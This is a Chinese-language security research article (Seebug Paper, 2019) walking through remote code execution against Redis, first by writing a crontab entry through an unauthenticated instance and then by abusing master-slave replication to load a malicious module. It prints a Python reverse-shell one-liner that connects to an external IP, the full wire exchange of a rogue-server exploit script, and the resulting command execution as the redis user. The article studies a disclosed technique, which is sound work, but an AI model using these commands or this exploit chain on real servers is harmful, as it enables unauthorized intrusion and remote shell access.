作者:LoRexxar'@知道創宇404實驗室
時間:2019年7月9日
英文版本:http://www.bjnorthway.com/975/

在2019年7月7日結束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關于redis新版本的RCE利用方式,比起以前的利用方式來說,這種利用方式更為通用,危害也更大,下面就讓我們從以前的redis RCE利用方式出發,一起聊聊關于redis的利用問題。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

通過寫入文件 GetShell

未授權的redis會導致GetShell,可以說已經是眾所周知的了。

127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK

而這種方式是通過寫文件來完成GetShell的,這種方式的主要問題在于,redis保存的數據并不是簡單的json或者是csv,所以寫入的文件都會有大量的無用數據,形似

[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]

這種主要利用了crontab、ssh key、webshell這樣的文件都有一定容錯性,再加上crontab和ssh服務可以說是服務器的標準的服務,所以在以前,這種通過寫入文件的getshell方式基本就可以說是很通殺了。

但隨著現代的服務部署方式的不斷發展,組件化成了不可逃避的大趨勢,docker就是這股風潮下的產物之一,而在這種部署模式下,一個單一的容器中不會有除redis以外的任何服務存在,包括ssh和crontab,再加上權限的嚴格控制,只靠寫文件就很難再getshell了,在這種情況下,我們就需要其他的利用手段了。

通過主從復制 GetShell

在介紹這種利用方式之前,首先我們需要介紹一下什么是主從復制和redis的模塊。

Redis主從復制

Redis是一個使用ANSI C編寫的開源、支持網絡、基于內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

這里我們開兩臺docker來做測試

ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3fdb2479af9c        redis:5.0           "docker-entrypoint.s…"   22 hours ago        Up 4 seconds        0.0.0.0:6380->6379/tcp   epic_khorana
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   23 hours ago        Up 23 hours         0.0.0.0:6379->6379/tcp   vibrant_hodgkin

然后通過slaveof可以設置主從狀態

這樣一來數據就會自動同步了

Redis模塊

在了解了主從同步之后,我們還需要對redis的模塊有所了解。

在Reids 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在redis中實現一個新的Redis命令,通過寫c語言并編譯出.so文件。

編寫惡意so文件的代碼

https://github.com/RicterZ/RedisModules-ExecuteCommand

利用原理

Pavel Toporkov在2018年的zeronights會議上,分享了關于這個漏洞的詳細原理。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

在ppt中提到,在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。

然后在從機上加載so文件,我們就可以執行拓展的新命令了。

復現過程

這里我們選擇使用模擬的惡意服務端來作為主機,并模擬fullresync請求。

https://github.com/LoRexxar/redis-rogue-server

然后啟用redis 5.0的docker

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   25 hours ago        Up 25 hours         0.0.0.0:6379->6379/tcp   vibrant_hodgkin

為了能夠更清晰的看到效果,這里我們把從服務端執行完成后刪除的部分暫時注釋掉。

然后直接通過腳本來攻擊服務端

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'

然后我們鏈接上去就可以執行命令

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/975/